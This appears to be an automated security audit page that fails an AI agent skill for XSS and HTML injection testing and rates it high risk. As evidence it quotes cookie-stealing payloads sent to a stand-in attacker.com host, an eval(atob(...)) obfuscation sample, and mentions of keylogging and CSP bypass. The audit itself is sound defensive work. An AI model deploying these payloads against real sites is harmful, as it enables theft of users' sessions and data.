skills/lee-huydev/awesome-skills/Cross-Site Scripting and HTML Injection Testing/Gen Agent Trust Hub
Cross-Site Scripting and HTML Injection Testing
Fail
Audited by Gen Agent Trust Hub on Nov 13, 2026
Risk Level: HIGHDATA_EXFILTRATIONOBFUSCATIONDYNAMIC_EXECUTIONREMOTE_CODE_EXECUTION
Full Analysis
- [DATA_EXFILTRATION]: The skill provides functional payloads designed to exfiltrate sensitive information from a user's browser to an external server. Specifically, it includes scripts to capture
document.cookie,localStoragecontent, andkeypressevents (keylogging). - Evidence includes payloads like
document.location='http://attacker.com/steal?c='+document.cookieandfetch('http://attacker.com/capture', {method:'POST', body:JSON.stringify({cookies:document.cookie})}). - [OBFUSCATION]: The guide includes multiple techniques for evading security scanners and filters through various encoding schemes. It explicitly documents the use of Base64, hex encoding, HTML entity encoding, and JavaScript string manipulation to hide malicious payloads.
- Evidence includes examples like
eval(atob('YWxlcnQoMSk='))andalert(1)to bypass simple string-matching filters. - [DYNAMIC_EXECUTION]: The instructions highlight and demonstrate the use of dangerous JavaScript sinks and execution methods that allow for the processing of arbitrary, potentially malicious code at runtime.
- Evidence includes the documented use of
eval(),Function(),setTimeout(), andinnerHTMLin the context of exploitation. - [REMOTE_CODE_EXECUTION]: The skill describes methods for loading and executing remote scripts from external sources, including techniques to bypass Content Security Policies (CSP) via JSONP endpoints on trusted domains.
- Evidence includes payloads that fetch external scripts and bypass CSP using whitelisted JSONP callbacks.
Recommendations
- AI detected serious security threats
Audit Metadata